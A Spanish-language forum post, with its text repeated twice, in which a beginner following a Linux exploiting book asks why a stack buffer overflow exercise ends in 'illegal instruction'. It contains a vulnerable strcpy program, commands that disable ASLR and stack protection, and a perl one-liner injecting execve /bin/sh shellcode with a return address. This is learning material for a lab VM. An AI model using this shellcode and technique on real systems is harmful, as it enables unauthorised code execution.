Buenas, estoy iniciándome en esto del exploiting y bueno también en lo que es la ingeniería inversa que por lo poco que he visto de ambos algo tienen en común (no se aun hasta que punto).
Estoy siguiendo el libro de "Linux Exploiting" de David Puente Castro, y no avanzo de las primeras paginas porque no consigo ejecutar una shellcode bastante sencilla, y eso que he seguido los pasos poco a poco, sin embargo a el le sale y a mi no y no tengo ni idea del porque sera.
Trabajo sobre una maquina virtual, Debian 32bits (igual que el hace en el libro) y hago lo siguiente (como el indica en el libro):
echo 0 > /proc/sys/kernel/randomize_va_space
Para eliminar una de las protecciones que trae el propio sistema operativo.
El código sobre el que quiero hacer el buffer overflow es el siguiente:
Como vereis en la variable Nombre es donde tengo que introducir el shellcode.
Para sobrescribir el registro EIP o RET Necesito un relleno de 44 bytes.
Con el gdb, consigo ver cual es la dirección de inicio del buffer nombre, para que después de que introduzca mi shellcode en el buffer y lo rellene con bytes de relleno meter esa dirección en la parte que sobrescribe el EIP (quiza los que sean novatos como yo no entiendan muy bien esto que he dicho ya que es un poco enredoso, pero espero que a los que sepan no les haya costado entenderlo y puedan ayudarme) La direccion de inicio del buffer nombre que me da es 0xbffff680
Ejecuto el programa de la siguiente forma:
./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`
De la misma forma que en el libro, pero lo único que cambia es la dirección a la que mandamos el registro EIP o RET ya que en cada maquina resulta diferente.
A el una vez ejecutado esto, se le ejecuta el /bin/bash mientras que a mi me sale un bonito ERROR que dice "Instrucción Ilegal", no se a que puede deberse ya que sigo los mismos pasos que el.
El programa lo ejecuto de la siguiente forma:
gcc -fno-stack-protector -z execstack prog.c -o prog
Como el indica en el libro, la única diferencia es que ami me sale un warning que me dice algo de la función exit mientras que a el no, pero no creo que sea de esto el problema.
Espero que me podáis ayudar ya que no quiero seguir avanzando sin poder conseguir esto que parece bastante básico
Gracias de antemano,
d00rt
Estoy siguiendo el libro de "Linux Exploiting" de David Puente Castro, y no avanzo de las primeras paginas porque no consigo ejecutar una shellcode bastante sencilla, y eso que he seguido los pasos poco a poco, sin embargo a el le sale y a mi no y no tengo ni idea del porque sera.
Trabajo sobre una maquina virtual, Debian 32bits (igual que el hace en el libro) y hago lo siguiente (como el indica en el libro):
echo 0 > /proc/sys/kernel/randomize_va_space
Para eliminar una de las protecciones que trae el propio sistema operativo.
El código sobre el que quiero hacer el buffer overflow es el siguiente:
Código [Seleccionar]
#include <string.h>
#include <stdio.h>
void func(char *arg)
{
char nombre[32];
strcpy(nombre, arg);
printf("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main(int argc, char *argv[])
{
if ( argc != 2 ) {
printf("Uso: %s NOMBRE\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n\n");
return 0;
}
Como vereis en la variable Nombre es donde tengo que introducir el shellcode.
Para sobrescribir el registro EIP o RET Necesito un relleno de 44 bytes.
Con el gdb, consigo ver cual es la dirección de inicio del buffer nombre, para que después de que introduzca mi shellcode en el buffer y lo rellene con bytes de relleno meter esa dirección en la parte que sobrescribe el EIP (quiza los que sean novatos como yo no entiendan muy bien esto que he dicho ya que es un poco enredoso, pero espero que a los que sepan no les haya costado entenderlo y puedan ayudarme) La direccion de inicio del buffer nombre que me da es 0xbffff680
Ejecuto el programa de la siguiente forma:
./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`
De la misma forma que en el libro, pero lo único que cambia es la dirección a la que mandamos el registro EIP o RET ya que en cada maquina resulta diferente.
A el una vez ejecutado esto, se le ejecuta el /bin/bash mientras que a mi me sale un bonito ERROR que dice "Instrucción Ilegal", no se a que puede deberse ya que sigo los mismos pasos que el.
El programa lo ejecuto de la siguiente forma:
gcc -fno-stack-protector -z execstack prog.c -o prog
Como el indica en el libro, la única diferencia es que ami me sale un warning que me dice algo de la función exit mientras que a el no, pero no creo que sea de esto el problema.
Espero que me podáis ayudar ya que no quiero seguir avanzando sin poder conseguir esto que parece bastante básico
Gracias de antemano,
d00rt